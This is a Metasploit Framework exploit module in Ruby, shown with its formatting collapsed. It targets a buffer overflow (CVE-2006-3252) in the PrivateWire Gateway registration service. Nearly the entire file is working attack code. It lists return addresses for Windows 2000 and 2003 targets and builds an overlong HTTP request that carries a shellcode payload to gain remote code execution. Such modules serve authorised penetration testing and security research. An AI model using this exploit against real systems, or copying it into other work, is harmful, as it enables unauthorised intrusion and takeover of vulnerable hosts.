|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83  |  ## # $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # This file may only be distributed as part of the Metasploit Framework. # Any other use needs a written permission from the author. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = AverageRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'Private Wire Gateway Buffer Overflow',  'Description'=> %q{  This exploits a buffer overflow in the ADMCREG.EXE used  in the PrivateWire Online Registration Facility.  },  'Author' => 'Michael Thumann <mthumann[at]ernw.de>',  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9179 $',  'References' =>  [  ['CVE', '2006-3252'],  ['OSVDB', '26861'],  ['BID', '18647'],  ],  'Payload'=>  {  'Space'=> 8000,  'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  ['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll  ['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll  ['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll  ['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll  ['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll  ['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll  ['Debugging',{ 'Ret' => 0x41414141 }], # crash  ],  'DefaultTarget'=> 4,  'DisclosureDate' => 'Jun 26 2006'))  register_options(  [  OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])  ], self.class)  end  def exploit  # add 25 to ecx and jmp  jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"  path_offset = datastore['PATH'].length - 8  pattern= rand_text_alphanumeric(8192)  pattern[0, payload.encoded.length] = payload.encoded  pattern[8156 - path_offset, 4] = [target.ret].pack('V')  pattern[8160, jmp.length]= jmp  print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")  send_request_raw({  'uri' => "/" + pattern  }, 2)  end end  |